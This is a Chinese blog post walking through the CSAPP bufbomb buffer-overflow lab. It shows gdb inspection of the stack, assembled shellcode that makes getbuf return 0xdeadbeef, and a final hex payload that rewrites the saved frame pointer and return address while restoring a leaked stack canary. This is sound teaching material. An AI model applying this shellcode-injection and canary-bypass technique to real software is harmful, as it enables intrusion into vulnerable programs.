CSAPP网页上给了bufbomob.c, 要求找出一个输入字符串,使得getbuf()返回0xdeadbeef,
/* Bomb program that is solved using a buffer overflow attack */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '\n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}
|
getbuf()里的buf作为参数传给getxs(),getxs可以无限制的写入buf位置以上的栈,所以可以改写getbuf的返回地址.所以可以在buf里写入我们自己的指令,再将getbuf返回地址指向这些指令.
写入buf的指令要做到:
1. 将 0xdeadbeef mov进%eax ( getbuf()返回值存在%eax里 )
2. 回到原来的程序流程
第一条明显是 mov $0xdeadbeef,%eax ,关键是如何将程序回到原来的流程.先看看原来的返回地址再说.
getbuf的返回地址存在%ebp+4的位置,在getbuf设断点
(gdb) b getbuf
单步执行进getbuf函数中 查看%ebp, %ebp处存的帧指针是不能变的,必须原样写回
(gdb) x/4b $ebp
0xbfb68fb8: 0xd8 0x8f 0xb6 0xbf
再查看%ebp+4存着的返回地址
(gdb) x/w ($ebp+4)
0xbfb68fbc: 0x080485ef
这就是test调用getbuf返回后的下一个指令,可以查看一下
(gdb) disas 0x080485ef
Dump of assembler code for function test:
0x080485d0 : push %ebp
0x080485d1 : mov %esp,%ebp
0x080485d3 : sub $0x18,%esp
0x080485d6 : movl $0x8048730,0x4(%esp)
0x080485de : movl $0x1,(%esp)
0x080485e5 : call 0x80483e8 <__printf_chk@plt>
0x080485ea : call 0x8048590
0x080485ef : movl $0x8048741,0x4(%esp)
0x080485f7 : movl $0x1,(%esp)
0x080485fe : mov %eax,0x8(%esp)
0x08048602 : call 0x80483e8 <__printf_chk@plt>
0x08048607 : leave
0x08048608 : ret
End of assembler dump.
关键是怎么样回到这里,开始想到的办法是用jmp指令.写一个汇编函数bftry.s,只包含下面三句
mov $0xdeadbeef, %eax
mov $0x0804856f, %edx
jmp *%edx
再 gcc -O -c bftry.s ,然后 objdump -d bftry.o
00000000 <.text>:
0: b8 ef be ad de mov $0xdeadbeef,%eax
5: ba 6f 85 04 08 mov $0x804856f,%edx
a: ff e2 jmp *%edx
|
后来看到更直接的办法,回想ret指令其实就是 pop %eip,
所以先 push 0x080485ef,
再 mov $0xdeadbeef %eax
最后 ret
这样就能回到原来的返回地址
同样写一个函数包含上面3句,编译,再反汇编,得到如下指令
68 ef 85 04 08 push $0x80485ef b8 ef be ad de mov $0xdeadbeef,%eax c3 ret 90 nop
|
哪里该写什么知道了,其他"无所谓的"位置写0就行了吧? 但是写入后发现还是不行. 看一下getbuf的汇编代码,发现这是gcc的反溢出策略
0x08048590 <getbuf+0>: push %ebp 0x08048591 <getbuf+1>: mov %esp,%ebp 0x08048593 <getbuf+3>: sub $0x18,%esp 0x08048596 <getbuf+6>: mov %gs:0x14,%eax 0x0804859c <getbuf+12>: mov %eax,-0x4(%ebp) 0x0804859f <getbuf+15>: xor %eax,%eax 0x080485a1 <getbuf+17>: lea -0x10(%ebp),%eax 0x080485a4 <getbuf+20>: mov %eax,(%esp) 0x080485a7 <getbuf+23>: call 0x8048500 <getxs> 0x080485ac <getbuf+28>: mov $0x1,%eax 0x080485b1 <getbuf+33>: mov -0x4(%ebp),%edx 0x080485b4 <getbuf+36>: xor %gs:0x14,%edx 0x080485bb <getbuf+43>: jne 0x80485bf <getbuf+47> 0x080485bd <getbuf+45>: leave 0x080485be <getbuf+46>: ret 0x080485bf <getbuf+47>: nop 0x080485c0 <getbuf+48>: call 0x8048428 <__stack_chk_fail@plt>
|
虽然buf只有12字节,但gcc把 %ebp-16当作buf起始位置, 先在%ebp-4写入
%gs:0x14
,getxs返回后再校验这四个字节,如果不一样就是发生溢出了,好聪明.
(mingw下就没有这些防溢出代码,虽然我的mingw gcc是最新版4.4.1,linux的gcc是4.3.3版)
所以还得查看%ebp-4
(gdb) x/4b $ebp-4
0xbfb68fb4: 0x55 0x8f 0x6c 0x37
最后查看buf位置
(gdb) p /x (int)&buf[0]
$9 = 0xbfb68fa8
所以最后写入的序列是(没有空格)
68 ef 85 04 08 b8 ef be ad de c3 90 55 8f 6c 37 d8 8f b6 bf a8 8f b6 bf
运行结果
Type Hex string:68ef850408b8efbeaddec390558f6c37d88fb6bfa88fb6bf
(gdb) c
Continuing.
getbuf returned 0xdeadbeef
Program exited normally.
阅读(2705) | 评论(0) | 转发(0) |